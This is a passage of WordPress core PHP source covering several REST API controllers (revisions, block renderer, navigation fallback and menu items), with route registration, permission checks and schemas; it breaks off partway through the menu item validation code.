	public function prepare_item_for_response( $item, $request ) {
		// Restores the more descriptive, specific name for use within this method.
		$post = $item;

		$GLOBALS['post'] = $post;

		setup_postdata( $post );

		$fields = $this->get_fields_for_response( $request );
		$data   = array();

		if ( in_array( 'author', $fields, true ) ) {
			$data['author'] = (int) $post->post_author;
		}

		if ( in_array( 'date', $fields, true ) ) {
			$data['date'] = $this->prepare_date_response( $post->post_date_gmt, $post->post_date );
		}

		if ( in_array( 'date_gmt', $fields, true ) ) {
			$data['date_gmt'] = $this->prepare_date_response( $post->post_date_gmt );
		}

		if ( in_array( 'id', $fields, true ) ) {
			$data['id'] = $post->ID;
		}

		if ( in_array( 'modified', $fields, true ) ) {
			$data['modified'] = $this->prepare_date_response( $post->post_modified_gmt, $post->post_modified );
		}

		if ( in_array( 'modified_gmt', $fields, true ) ) {
			$data['modified_gmt'] = $this->prepare_date_response( $post->post_modified_gmt );
		}

		if ( in_array( 'parent', $fields, true ) ) {
			$data['parent'] = (int) $post->post_parent;
		}

		if ( in_array( 'slug', $fields, true ) ) {
			$data['slug'] = $post->post_name;
		}

		if ( in_array( 'guid', $fields, true ) ) {
			$data['guid'] = array(
				/** This filter is documented in wp-includes/post-template.php */
				'rendered' => apply_filters( 'get_the_guid', $post->guid, $post->ID ),
				'raw'      => $post->guid,
			);
		}

		if ( in_array( 'title', $fields, true ) ) {
			$data['title'] = array(
				'raw'      => $post->post_title,
				'rendered' => get_the_title( $post->ID ),
			);
		}

		if ( in_array( 'content', $fields, true ) ) {

			$data['content'] = array(
				'raw'      => $post->post_content,
				/** This filter is documented in wp-includes/post-template.php */
				'rendered' => apply_filters( 'the_content', $post->post_content ),
			);
		}

		if ( in_array( 'excerpt', $fields, true ) ) {
			$data['excerpt'] = array(
				'raw'      => $post->post_excerpt,
				'rendered' => $this->prepare_excerpt_response( $post->post_excerpt, $post ),
			);
		}

		if ( rest_is_field_included( 'meta', $fields ) ) {
			$data['meta'] = $this->meta->get_value( $post->ID, $request );
		}

		$context  = ! empty( $request['context'] ) ? $request['context'] : 'view';
		$data     = $this->add_additional_fields_to_object( $data, $request );
		$data     = $this->filter_response_by_context( $data, $context );
		$response = rest_ensure_response( $data );

		if ( ! empty( $data['parent'] ) ) {
			$response->add_link( 'parent', rest_url( rest_get_route_for_post( $data['parent'] ) ) );
		}

		/**
		 * Filters a revision returned from the REST API.
		 *
		 * Allows modification of the revision right before it is returned.
		 *
		 * @since 4.7.0
		 *
		 * @param WP_REST_Response $response The response object.
		 * @param WP_Post          $post     The original revision object.
		 * @param WP_REST_Request  $request  Request used to generate the response.
		 */
		return apply_filters( 'rest_prepare_revision', $response, $post, $request );
	}

	/**
	 * Checks the post_date_gmt or modified_gmt and prepare any post or
	 * modified date for single post output.
	 *
	 * @since 4.7.0
	 *
	 * @param string      $date_gmt GMT publication time.
	 * @param string|null $date     Optional. Local publication time. Default null.
	 * @return string|null ISO8601/RFC3339 formatted datetime, otherwise null.
	 */
	protected function prepare_date_response( $date_gmt, $date = null ) {
		if ( '0000-00-00 00:00:00' === $date_gmt ) {
			return null;
		}

		if ( isset( $date ) ) {
			return mysql_to_rfc3339( $date );
		}

		return mysql_to_rfc3339( $date_gmt );
	}

	/**
	 * Retrieves the revision's schema, conforming to JSON Schema.
	 *
	 * @since 4.7.0
	 *
	 * @return array Item schema data.
	 */
	public function get_item_schema() {
		if ( $this->schema ) {
			return $this->add_additional_fields_schema( $this->schema );
		}

		$schema = array(
			'$schema'    => 'http://json-schema.org/draft-04/schema#',
			'title'      => "{$this->parent_post_type}-revision",
			'type'       => 'object',
			// Base properties for every Revision.
			'properties' => array(
				'author'       => array(
					'description' => __( 'The ID for the author of the revision.' ),
					'type'        => 'integer',
					'context'     => array( 'view', 'edit', 'embed' ),
				),
				'date'         => array(
					'description' => __( "The date the revision was published, in the site's timezone." ),
					'type'        => 'string',
					'format'      => 'date-time',
					'context'     => array( 'view', 'edit', 'embed' ),
				),
				'date_gmt'     => array(
					'description' => __( 'The date the revision was published, as GMT.' ),
					'type'        => 'string',
					'format'      => 'date-time',
					'context'     => array( 'view', 'edit' ),
				),
				'guid'         => array(
					'description' => __( 'GUID for the revision, as it exists in the database.' ),
					'type'        => 'string',
					'context'     => array( 'view', 'edit' ),
				),
				'id'           => array(
					'description' => __( 'Unique identifier for the revision.' ),
					'type'        => 'integer',
					'context'     => array( 'view', 'edit', 'embed' ),
				),
				'modified'     => array(
					'description' => __( "The date the revision was last modified, in the site's timezone." ),
					'type'        => 'string',
					'format'      => 'date-time',
					'context'     => array( 'view', 'edit' ),
				),
				'modified_gmt' => array(
					'description' => __( 'The date the revision was last modified, as GMT.' ),
					'type'        => 'string',
					'format'      => 'date-time',
					'context'     => array( 'view', 'edit' ),
				),
				'parent'       => array(
					'description' => __( 'The ID for the parent of the revision.' ),
					'type'        => 'integer',
					'context'     => array( 'view', 'edit', 'embed' ),
				),
				'slug'         => array(
					'description' => __( 'An alphanumeric identifier for the revision unique to its type.' ),
					'type'        => 'string',
					'context'     => array( 'view', 'edit', 'embed' ),
				),
			),
		);

		$parent_schema = $this->parent_controller->get_item_schema();

		if ( ! empty( $parent_schema['properties']['title'] ) ) {
			$schema['properties']['title'] = $parent_schema['properties']['title'];
		}

		if ( ! empty( $parent_schema['properties']['content'] ) ) {
			$schema['properties']['content'] = $parent_schema['properties']['content'];
		}

		if ( ! empty( $parent_schema['properties']['excerpt'] ) ) {
			$schema['properties']['excerpt'] = $parent_schema['properties']['excerpt'];
		}

		if ( ! empty( $parent_schema['properties']['guid'] ) ) {
			$schema['properties']['guid'] = $parent_schema['properties']['guid'];
		}

		$schema['properties']['meta'] = $this->meta->get_field_schema();

		$this->schema = $schema;

		return $this->add_additional_fields_schema( $this->schema );
	}

	/**
	 * Retrieves the query params for collections.
	 *
	 * @since 4.7.0
	 *
	 * @return array Collection parameters.
	 */
	public function get_collection_params() {
		$query_params = parent::get_collection_params();

		$query_params['context']['default'] = 'view';

		unset( $query_params['per_page']['default'] );

		$query_params['exclude'] = array(
			'description' => __( 'Ensure result set excludes specific IDs.' ),
			'type'        => 'array',
			'items'       => array(
				'type' => 'integer',
			),
			'default'     => array(),
		);

		$query_params['include'] = array(
			'description' => __( 'Limit result set to specific IDs.' ),
			'type'        => 'array',
			'items'       => array(
				'type' => 'integer',
			),
			'default'     => array(),
		);

		$query_params['offset'] = array(
			'description' => __( 'Offset the result set by a specific number of items.' ),
			'type'        => 'integer',
		);

		$query_params['order'] = array(
			'description' => __( 'Order sort attribute ascending or descending.' ),
			'type'        => 'string',
			'default'     => 'desc',
			'enum'        => array( 'asc', 'desc' ),
		);

		$query_params['orderby'] = array(
			'description' => __( 'Sort collection by object attribute.' ),
			'type'        => 'string',
			'default'     => 'date',
			'enum'        => array(
				'date',
				'id',
				'include',
				'relevance',
				'slug',
				'include_slugs',
				'title',
			),
		);

		return $query_params;
	}

	/**
	 * Checks the post excerpt and prepare it for single post output.
	 *
	 * @since 4.7.0
	 *
	 * @param string  $excerpt The post excerpt.
	 * @param WP_Post $post    Post revision object.
	 * @return string Prepared excerpt or empty string.
	 */
	protected function prepare_excerpt_response( $excerpt, $post ) {

		/** This filter is documented in wp-includes/post-template.php */
		$excerpt = apply_filters( 'the_excerpt', $excerpt, $post );

		if ( empty( $excerpt ) ) {
			return '';
		}

		return $excerpt;
	}
}
<?php
/**
 * Block Renderer REST API: WP_REST_Block_Renderer_Controller class
 *
 * @package WordPress
 * @subpackage REST_API
 * @since 5.0.0
 */

/**
 * Controller which provides REST endpoint for rendering a block.
 *
 * @since 5.0.0
 *
 * @see WP_REST_Controller
 */
class WP_REST_Block_Renderer_Controller extends WP_REST_Controller {

	/**
	 * Constructs the controller.
	 *
	 * @since 5.0.0
	 */
	public function __construct() {
		$this->namespace = 'wp/v2';
		$this->rest_base = 'block-renderer';
	}

	/**
	 * Registers the necessary REST API routes, one for each dynamic block.
	 *
	 * @since 5.0.0
	 *
	 * @see register_rest_route()
	 */
	public function register_routes() {
		register_rest_route(
			$this->namespace,
			'/' . $this->rest_base . '/(?P<name>[a-z0-9-]+/[a-z0-9-]+)',
			array(
				'args'   => array(
					'name' => array(
						'description' => __( 'Unique registered name for the block.' ),
						'type'        => 'string',
					),
				),
				array(
					'methods'             => array( WP_REST_Server::READABLE, WP_REST_Server::CREATABLE ),
					'callback'            => array( $this, 'get_item' ),
					'permission_callback' => array( $this, 'get_item_permissions_check' ),
					'args'                => array(
						'context'    => $this->get_context_param( array( 'default' => 'view' ) ),
						'attributes' => array(
							'description'       => __( 'Attributes for the block.' ),
							'type'              => 'object',
							'default'           => array(),
							'validate_callback' => static function ( $value, $request ) {
								$block = WP_Block_Type_Registry::get_instance()->get_registered( $request['name'] );

								if ( ! $block ) {
									// This will get rejected in ::get_item().
									return true;
								}

								$schema = array(
									'type'                 => 'object',
									'properties'           => $block->get_attributes(),
									'additionalProperties' => false,
								);

								return rest_validate_value_from_schema( $value, $schema );
							},
							'sanitize_callback' => static function ( $value, $request ) {
								$block = WP_Block_Type_Registry::get_instance()->get_registered( $request['name'] );

								if ( ! $block ) {
									// This will get rejected in ::get_item().
									return true;
								}

								$schema = array(
									'type'                 => 'object',
									'properties'           => $block->get_attributes(),
									'additionalProperties' => false,
								);

								return rest_sanitize_value_from_schema( $value, $schema );
							},
						),
						'post_id'    => array(
							'description' => __( 'ID of the post context.' ),
							'type'        => 'integer',
						),
					),
				),
				'schema' => array( $this, 'get_public_item_schema' ),
			)
		);
	}

	/**
	 * Checks if a given request has access to read blocks.
	 *
	 * @since 5.0.0
	 *
	 * @global WP_Post $post Global post object.
	 *
	 * @param WP_REST_Request $request Request.
	 * @return true|WP_Error True if the request has read access, WP_Error object otherwise.
	 */
	public function get_item_permissions_check( $request ) {
		global $post;

		$post_id = isset( $request['post_id'] ) ? (int) $request['post_id'] : 0;

		if ( $post_id > 0 ) {
			$post = get_post( $post_id );

			if ( ! $post || ! current_user_can( 'edit_post', $post->ID ) ) {
				return new WP_Error(
					'block_cannot_read',
					__( 'Sorry, you are not allowed to read blocks of this post.' ),
					array(
						'status' => rest_authorization_required_code(),
					)
				);
			}
		} else {
			if ( ! current_user_can( 'edit_posts' ) ) {
				return new WP_Error(
					'block_cannot_read',
					__( 'Sorry, you are not allowed to read blocks as this user.' ),
					array(
						'status' => rest_authorization_required_code(),
					)
				);
			}
		}

		return true;
	}

	/**
	 * Returns block output from block's registered render_callback.
	 *
	 * @since 5.0.0
	 *
	 * @global WP_Post $post Global post object.
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
	 */
	public function get_item( $request ) {
		global $post;

		$post_id = isset( $request['post_id'] ) ? (int) $request['post_id'] : 0;

		if ( $post_id > 0 ) {
			$post = get_post( $post_id );

			// Set up postdata since this will be needed if post_id was set.
			setup_postdata( $post );
		}

		$registry   = WP_Block_Type_Registry::get_instance();
		$registered = $registry->get_registered( $request['name'] );

		if ( null === $registered || ! $registered->is_dynamic() ) {
			return new WP_Error(
				'block_invalid',
				__( 'Invalid block.' ),
				array(
					'status' => 404,
				)
			);
		}

		$attributes = $request->get_param( 'attributes' );

		// Create an array representation simulating the output of parse_blocks.
		$block = array(
			'blockName'    => $request['name'],
			'attrs'        => $attributes,
			'innerHTML'    => '',
			'innerContent' => array(),
		);

		// Render using render_block to ensure all relevant filters are used.
		$data = array(
			'rendered' => render_block( $block ),
		);

		return rest_ensure_response( $data );
	}

	/**
	 * Retrieves block's output schema, conforming to JSON Schema.
	 *
	 * @since 5.0.0
	 *
	 * @return array Item schema data.
	 */
	public function get_item_schema() {
		if ( $this->schema ) {
			return $this->schema;
		}

		$this->schema = array(
			'$schema'    => 'http://json-schema.org/schema#',
			'title'      => 'rendered-block',
			'type'       => 'object',
			'properties' => array(
				'rendered' => array(
					'description' => __( 'The rendered block.' ),
					'type'        => 'string',
					'required'    => true,
					'context'     => array( 'edit' ),
				),
			),
		);

		return $this->schema;
	}
}
<?php
/**
 * WP_REST_Navigation_Fallback_Controller class
 *
 * REST Controller to create/fetch a fallback Navigation Menu.
 *
 * @package WordPress
 * @subpackage REST_API
 * @since 6.3.0
 */

/**
 * REST Controller to fetch a fallback Navigation Block Menu. If needed it creates one.
 *
 * @since 6.3.0
 */
class WP_REST_Navigation_Fallback_Controller extends WP_REST_Controller {

	/**
	 * The Post Type for the Controller
	 *
	 * @since 6.3.0
	 *
	 * @var string
	 */
	private $post_type;

	/**
	 * Constructs the controller.
	 *
	 * @since 6.3.0
	 */
	public function __construct() {
		$this->namespace = 'wp-block-editor/v1';
		$this->rest_base = 'navigation-fallback';
		$this->post_type = 'wp_navigation';
	}

	/**
	 * Registers the controllers routes.
	 *
	 * @since 6.3.0
	 */
	public function register_routes() {

		// Lists a single nav item based on the given id or slug.
		register_rest_route(
			$this->namespace,
			'/' . $this->rest_base,
			array(
				array(
					'methods'             => WP_REST_Server::READABLE,
					'callback'            => array( $this, 'get_item' ),
					'permission_callback' => array( $this, 'get_item_permissions_check' ),
					'args'                => $this->get_endpoint_args_for_item_schema( WP_REST_Server::READABLE ),
				),
				'schema' => array( $this, 'get_item_schema' ),
			)
		);
	}

	/**
	 * Checks if a given request has access to read fallbacks.
	 *
	 * @since 6.3.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return true|WP_Error True if the request has read access, WP_Error object otherwise.
	 */
	public function get_item_permissions_check( $request ) {

		$post_type = get_post_type_object( $this->post_type );

		// Getting fallbacks requires creating and reading `wp_navigation` posts.
		if ( ! current_user_can( $post_type->cap->create_posts ) || ! current_user_can( 'edit_theme_options' ) || ! current_user_can( 'edit_posts' ) ) {
			return new WP_Error(
				'rest_cannot_create',
				__( 'Sorry, you are not allowed to create Navigation Menus as this user.' ),
				array( 'status' => rest_authorization_required_code() )
			);
		}

		if ( 'edit' === $request['context'] && ! current_user_can( $post_type->cap->edit_posts ) ) {
			return new WP_Error(
				'rest_forbidden_context',
				__( 'Sorry, you are not allowed to edit Navigation Menus as this user.' ),
				array( 'status' => rest_authorization_required_code() )
			);
		}

		return true;
	}

	/**
	 * Gets the most appropriate fallback Navigation Menu.
	 *
	 * @since 6.3.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
	 */
	public function get_item( $request ) {
		$post = WP_Navigation_Fallback::get_fallback();

		if ( empty( $post ) ) {
			return rest_ensure_response( new WP_Error( 'no_fallback_menu', __( 'No fallback menu found.' ), array( 'status' => 404 ) ) );
		}

		$response = $this->prepare_item_for_response( $post, $request );

		return $response;
	}

	/**
	 * Retrieves the fallbacks' schema, conforming to JSON Schema.
	 *
	 * @since 6.3.0
	 *
	 * @return array Item schema data.
	 */
	public function get_item_schema() {
		if ( $this->schema ) {
			return $this->add_additional_fields_schema( $this->schema );
		}

		$this->schema = array(
			'$schema'    => 'http://json-schema.org/draft-04/schema#',
			'title'      => 'navigation-fallback',
			'type'       => 'object',
			'properties' => array(
				'id' => array(
					'description' => __( 'The unique identifier for the Navigation Menu.' ),
					'type'        => 'integer',
					'context'     => array( 'view', 'edit', 'embed' ),
					'readonly'    => true,
				),
			),
		);

		return $this->add_additional_fields_schema( $this->schema );
	}

	/**
	 * Matches the post data to the schema we want.
	 *
	 * @since 6.3.0
	 *
	 * @param WP_Post         $item    The wp_navigation Post object whose response is being prepared.
	 * @param WP_REST_Request $request Request object.
	 * @return WP_REST_Response $response The response data.
	 */
	public function prepare_item_for_response( $item, $request ) {
		$data = array();

		$fields = $this->get_fields_for_response( $request );

		if ( rest_is_field_included( 'id', $fields ) ) {
			$data['id'] = (int) $item->ID;
		}

		$context = ! empty( $request['context'] ) ? $request['context'] : 'view';
		$data    = $this->add_additional_fields_to_object( $data, $request );
		$data    = $this->filter_response_by_context( $data, $context );

		$response = rest_ensure_response( $data );

		if ( rest_is_field_included( '_links', $fields ) || rest_is_field_included( '_embedded', $fields ) ) {
			$links = $this->prepare_links( $item );
			$response->add_links( $links );
		}

		return $response;
	}

	/**
	 * Prepares the links for the request.
	 *
	 * @since 6.3.0
	 *
	 * @param WP_Post $post the Navigation Menu post object.
	 * @return array Links for the given request.
	 */
	private function prepare_links( $post ) {
		return array(
			'self' => array(
				'href'       => rest_url( rest_get_route_for_post( $post->ID ) ),
				'embeddable' => true,
			),
		);
	}
}
<?php
/**
 * REST API: WP_REST_Menu_Items_Controller class
 *
 * @package WordPress
 * @subpackage REST_API
 * @since 5.9.0
 */

/**
 * Core class to access nav items via the REST API.
 *
 * @since 5.9.0
 *
 * @see WP_REST_Posts_Controller
 */
class WP_REST_Menu_Items_Controller extends WP_REST_Posts_Controller {

	/**
	 * Gets the nav menu item, if the ID is valid.
	 *
	 * @since 5.9.0
	 *
	 * @param int $id Supplied ID.
	 * @return object|WP_Error Post object if ID is valid, WP_Error otherwise.
	 */
	protected function get_nav_menu_item( $id ) {
		$post = $this->get_post( $id );
		if ( is_wp_error( $post ) ) {
			return $post;
		}

		return wp_setup_nav_menu_item( $post );
	}

	/**
	 * Checks if a given request has access to read menu items.
	 *
	 * @since 5.9.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return true|WP_Error True if the request has read access, WP_Error object otherwise.
	 */
	public function get_items_permissions_check( $request ) {
		$has_permission = parent::get_items_permissions_check( $request );

		if ( true !== $has_permission ) {
			return $has_permission;
		}

		return $this->check_has_read_only_access( $request );
	}

	/**
	 * Checks if a given request has access to read a menu item if they have access to edit them.
	 *
	 * @since 5.9.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return bool|WP_Error True if the request has read access for the item, WP_Error object or false otherwise.
	 */
	public function get_item_permissions_check( $request ) {
		$permission_check = parent::get_item_permissions_check( $request );

		if ( true !== $permission_check ) {
			return $permission_check;
		}

		return $this->check_has_read_only_access( $request );
	}

	/**
	 * Checks whether the current user has read permission for the endpoint.
	 *
	 * This allows for any user that can `edit_theme_options` or edit any REST API available post type.
	 *
	 * @since 5.9.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return true|WP_Error True if the request has read access for the item, WP_Error object otherwise.
	 */
	protected function check_has_read_only_access( $request ) {
		if ( current_user_can( 'edit_theme_options' ) ) {
			return true;
		}

		if ( current_user_can( 'edit_posts' ) ) {
			return true;
		}

		foreach ( get_post_types( array( 'show_in_rest' => true ), 'objects' ) as $post_type ) {
			if ( current_user_can( $post_type->cap->edit_posts ) ) {
				return true;
			}
		}

		return new WP_Error(
			'rest_cannot_view',
			__( 'Sorry, you are not allowed to view menu items.' ),
			array( 'status' => rest_authorization_required_code() )
		);
	}

	/**
	 * Creates a single post.
	 *
	 * @since 5.9.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
	 */
	public function create_item( $request ) {
		if ( ! empty( $request['id'] ) ) {
			return new WP_Error( 'rest_post_exists', __( 'Cannot create existing post.' ), array( 'status' => 400 ) );
		}

		$prepared_nav_item = $this->prepare_item_for_database( $request );

		if ( is_wp_error( $prepared_nav_item ) ) {
			return $prepared_nav_item;
		}
		$prepared_nav_item = (array) $prepared_nav_item;

		$nav_menu_item_id = wp_update_nav_menu_item( $prepared_nav_item['menu-id'], $prepared_nav_item['menu-item-db-id'], wp_slash( $prepared_nav_item ), false );
		if ( is_wp_error( $nav_menu_item_id ) ) {
			if ( 'db_insert_error' === $nav_menu_item_id->get_error_code() ) {
				$nav_menu_item_id->add_data( array( 'status' => 500 ) );
			} else {
				$nav_menu_item_id->add_data( array( 'status' => 400 ) );
			}

			return $nav_menu_item_id;
		}

		$nav_menu_item = $this->get_nav_menu_item( $nav_menu_item_id );
		if ( is_wp_error( $nav_menu_item ) ) {
			$nav_menu_item->add_data( array( 'status' => 404 ) );

			return $nav_menu_item;
		}

		/**
		 * Fires after a single menu item is created or updated via the REST API.
		 *
		 * @since 5.9.0
		 *
		 * @param object          $nav_menu_item Inserted or updated menu item object.
		 * @param WP_REST_Request $request       Request object.
		 * @param bool            $creating      True when creating a menu item, false when updating.
		 */
		do_action( 'rest_insert_nav_menu_item', $nav_menu_item, $request, true );

		$schema = $this->get_item_schema();

		if ( ! empty( $schema['properties']['meta'] ) && isset( $request['meta'] ) ) {
			$meta_update = $this->meta->update_value( $request['meta'], $nav_menu_item_id );

			if ( is_wp_error( $meta_update ) ) {
				return $meta_update;
			}
		}

		$nav_menu_item = $this->get_nav_menu_item( $nav_menu_item_id );
		$fields_update = $this->update_additional_fields_for_object( $nav_menu_item, $request );

		if ( is_wp_error( $fields_update ) ) {
			return $fields_update;
		}

		$request->set_param( 'context', 'edit' );

		/**
		 * Fires after a single menu item is completely created or updated via the REST API.
		 *
		 * @since 5.9.0
		 *
		 * @param object          $nav_menu_item Inserted or updated menu item object.
		 * @param WP_REST_Request $request       Request object.
		 * @param bool            $creating      True when creating a menu item, false when updating.
		 */
		do_action( 'rest_after_insert_nav_menu_item', $nav_menu_item, $request, true );

		$post = get_post( $nav_menu_item_id );
		wp_after_insert_post( $post, false, null );

		$response = $this->prepare_item_for_response( $post, $request );
		$response = rest_ensure_response( $response );

		$response->set_status( 201 );
		$response->header( 'Location', rest_url( sprintf( '%s/%s/%d', $this->namespace, $this->rest_base, $nav_menu_item_id ) ) );

		return $response;
	}

	/**
	 * Updates a single nav menu item.
	 *
	 * @since 5.9.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
	 */
	public function update_item( $request ) {
		$valid_check = $this->get_nav_menu_item( $request['id'] );
		if ( is_wp_error( $valid_check ) ) {
			return $valid_check;
		}
		$post_before       = get_post( $request['id'] );
		$prepared_nav_item = $this->prepare_item_for_database( $request );

		if ( is_wp_error( $prepared_nav_item ) ) {
			return $prepared_nav_item;
		}

		$prepared_nav_item = (array) $prepared_nav_item;

		$nav_menu_item_id = wp_update_nav_menu_item( $prepared_nav_item['menu-id'], $prepared_nav_item['menu-item-db-id'], wp_slash( $prepared_nav_item ), false );

		if ( is_wp_error( $nav_menu_item_id ) ) {
			if ( 'db_update_error' === $nav_menu_item_id->get_error_code() ) {
				$nav_menu_item_id->add_data( array( 'status' => 500 ) );
			} else {
				$nav_menu_item_id->add_data( array( 'status' => 400 ) );
			}

			return $nav_menu_item_id;
		}

		$nav_menu_item = $this->get_nav_menu_item( $nav_menu_item_id );
		if ( is_wp_error( $nav_menu_item ) ) {
			$nav_menu_item->add_data( array( 'status' => 404 ) );

			return $nav_menu_item;
		}

		/** This action is documented in wp-includes/rest-api/endpoints/class-wp-rest-menu-items-controller.php */
		do_action( 'rest_insert_nav_menu_item', $nav_menu_item, $request, false );

		$schema = $this->get_item_schema();

		if ( ! empty( $schema['properties']['meta'] ) && isset( $request['meta'] ) ) {
			$meta_update = $this->meta->update_value( $request['meta'], $nav_menu_item->ID );

			if ( is_wp_error( $meta_update ) ) {
				return $meta_update;
			}
		}

		$post          = get_post( $nav_menu_item_id );
		$nav_menu_item = $this->get_nav_menu_item( $nav_menu_item_id );
		$fields_update = $this->update_additional_fields_for_object( $nav_menu_item, $request );

		if ( is_wp_error( $fields_update ) ) {
			return $fields_update;
		}

		$request->set_param( 'context', 'edit' );

		/** This action is documented in wp-includes/rest-api/endpoints/class-wp-rest-menu-items-controller.php */
		do_action( 'rest_after_insert_nav_menu_item', $nav_menu_item, $request, false );

		wp_after_insert_post( $post, true, $post_before );

		$response = $this->prepare_item_for_response( get_post( $nav_menu_item_id ), $request );

		return rest_ensure_response( $response );
	}

	/**
	 * Deletes a single menu item.
	 *
	 * @since 5.9.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response|WP_Error True on success, or WP_Error object on failure.
	 */
	public function delete_item( $request ) {
		$menu_item = $this->get_nav_menu_item( $request['id'] );
		if ( is_wp_error( $menu_item ) ) {
			return $menu_item;
		}

		// We don't support trashing for menu items.
		if ( ! $request['force'] ) {
			/* translators: %s: force=true */
			return new WP_Error( 'rest_trash_not_supported', sprintf( __( "Menu items do not support trashing. Set '%s' to delete." ), 'force=true' ), array( 'status' => 501 ) );
		}

		$previous = $this->prepare_item_for_response( get_post( $request['id'] ), $request );

		$result = wp_delete_post( $request['id'], true );

		if ( ! $result ) {
			return new WP_Error( 'rest_cannot_delete', __( 'The post cannot be deleted.' ), array( 'status' => 500 ) );
		}

		$response = new WP_REST_Response();
		$response->set_data(
			array(
				'deleted'  => true,
				'previous' => $previous->get_data(),
			)
		);

		/**
		 * Fires immediately after a single menu item is deleted via the REST API.
		 *
		 * @since 5.9.0
		 *
		 * @param object          $nav_menu_item Inserted or updated menu item object.
		 * @param WP_REST_Response $response The response data.
		 * @param WP_REST_Request $request       Request object.
		 */
		do_action( 'rest_delete_nav_menu_item', $menu_item, $response, $request );

		return $response;
	}

	/**
	 * Prepares a single post for create or update.
	 *
	 * @since 5.9.0
	 *
	 * @param WP_REST_Request $request Request object.
	 *
	 * @return object|WP_Error
	 */
	protected function prepare_item_for_database( $request ) {
		$menu_item_db_id = $request['id'];
		$menu_item_obj   = $this->get_nav_menu_item( $menu_item_db_id );
		// Need to persist the menu item data. See https://core.trac.wordpress.org/ticket/28138
		if ( ! is_wp_error( $menu_item_obj ) ) {
			// Correct the menu position if this was the first item. See https://core.trac.wordpress.org/ticket/28140
			$position = ( 0 === $menu_item_obj->menu_order ) ? 1 : $menu_item_obj->menu_order;

			$prepared_nav_item = array(
				'menu-item-db-id'       => $menu_item_db_id,
				'menu-item-object-id'   => $menu_item_obj->object_id,
				'menu-item-object'      => $menu_item_obj->object,
				'menu-item-parent-id'   => $menu_item_obj->menu_item_parent,
				'menu-item-position'    => $position,
				'menu-item-type'        => $menu_item_obj->type,
				'menu-item-title'       => $menu_item_obj->title,
				'menu-item-url'         => $menu_item_obj->url,
				'menu-item-description' => $menu_item_obj->description,
				'menu-item-attr-title'  => $menu_item_obj->attr_title,
				'menu-item-target'      => $menu_item_obj->target,
				'menu-item-classes'     => $menu_item_obj->classes,
				// Stored in the database as a string.
				'menu-item-xfn'         => explode( ' ', $menu_item_obj->xfn ),
				'menu-item-status'      => $menu_item_obj->post_status,
				'menu-id'               => $this->get_menu_id( $menu_item_db_id ),
			);
		} else {
			$prepared_nav_item = array(
				'menu-id'               => 0,
				'menu-item-db-id'       => 0,
				'menu-item-object-id'   => 0,
				'menu-item-object'      => '',
				'menu-item-parent-id'   => 0,
				'menu-item-position'    => 1,
				'menu-item-type'        => 'custom',
				'menu-item-title'       => '',
				'menu-item-url'         => '',
				'menu-item-description' => '',
				'menu-item-attr-title'  => '',
				'menu-item-target'      => '',
				'menu-item-classes'     => array(),
				'menu-item-xfn'         => array(),
				'menu-item-status'      => 'publish',
			);
		}

		$mapping = array(
			'menu-item-db-id'       => 'id',
			'menu-item-object-id'   => 'object_id',
			'menu-item-object'      => 'object',
			'menu-item-parent-id'   => 'parent',
			'menu-item-position'    => 'menu_order',
			'menu-item-type'        => 'type',
			'menu-item-url'         => 'url',
			'menu-item-description' => 'description',
			'menu-item-attr-title'  => 'attr_title',
			'menu-item-target'      => 'target',
			'menu-item-classes'     => 'classes',
			'menu-item-xfn'         => 'xfn',
			'menu-item-status'      => 'status',
		);

		$schema = $this->get_item_schema();

		foreach ( $mapping as $original => $api_request ) {
			if ( isset( $request[ $api_request ] ) ) {
				$prepared_nav_item[ $original ] = $request[ $api_request ];
			}
		}

		$taxonomy = get_taxonomy( 'nav_menu' );
		$base     = ! empty( $taxonomy->rest_base ) ? $taxonomy->rest_base : $taxonomy->name;
		// If menus submitted, cast to int.
		if ( ! empty( $request[ $base ] ) ) {
			$prepared_nav_item['menu-id'] = absint( $request[ $base ] );
		}

		// Nav menu title.
		if ( ! empty( $schema['properties']['title'] ) && isset( $request['title'] ) ) {
			if ( is_string( $request['title'] ) ) {
				$prepared_nav_item['menu-item-title'] = $request['title'];
			} elseif ( ! empty( $request['title']['raw'] ) ) {
				$prepared_nav_item['menu-item-title'] = $request['title']['raw'];
			}
		}

		$error = new WP_Error();

		// Check if object id exists before saving.
		if ( ! $prepared_nav_item['menu-item-object'] ) {
			// If taxonomy, check if term exists.
			if ( 'taxonomy' === $prepared_nav_item['menu-item-type'] ) {
				$original = get_term( absint( $prepared_nav_item['menu-item-object-id'] ) );
				if ( empty( $original ) || is_wp_error( $original ) ) {
					$error->add( 'rest_term_invalid_id', __( 'Invalid term ID.' ), array( 'status' => 400 ) );
				} else {
					$prepared_nav_item['menu-item-object'] = get_term_field( 'taxonomy', $original );
				}
				// If post, check if post object exists.
			} elseif ( 'post_type' === $prepared_nav_item['menu-item-type'] ) {
				$original = get_post( absint( $prepared_nav_item['menu-item-object-id'] ) );
				if ( empty( $original ) ) {
					$error->add( 'rest_post_invalid_id', __( 'Invalid post ID.' ), array( 'status' => 400 ) );
				} else {
					$prepared_nav_item['menu-item-object'] = get_post_type( $original );
				}
			}
		}

		// If post type archive, check if post type exists.
		if ( 'post_type_archive' === $prepared_nav_item['menu-item-type'] ) {
			$post_type = $prepared_nav_item['menu-item-object'] ? $prepared_nav_item['menu-item-object'] : false;
			$original  = get_post_type_object( $post_type );
			if ( ! $original ) {
				$error->add( 'rest_post_invalid_type', __( 'Invalid post type.' ), array( 'status' => 400 ) );
			}
		}

		// Check if menu item is type custom, then title and url are required.
		if ( 'custom' === $prepared_nav_item['menu-item-type'] ) {
			if ( '' === $prepared_nav_item['menu-item-title'] ) {
				$error->add( 'rest_title_required', __( 'The title is required when using a custom menu item type.' ), array( 'status' => 400 ) );
			}
			if ( empty( $prepared_nav_item['menu-item-url'] ) ) {
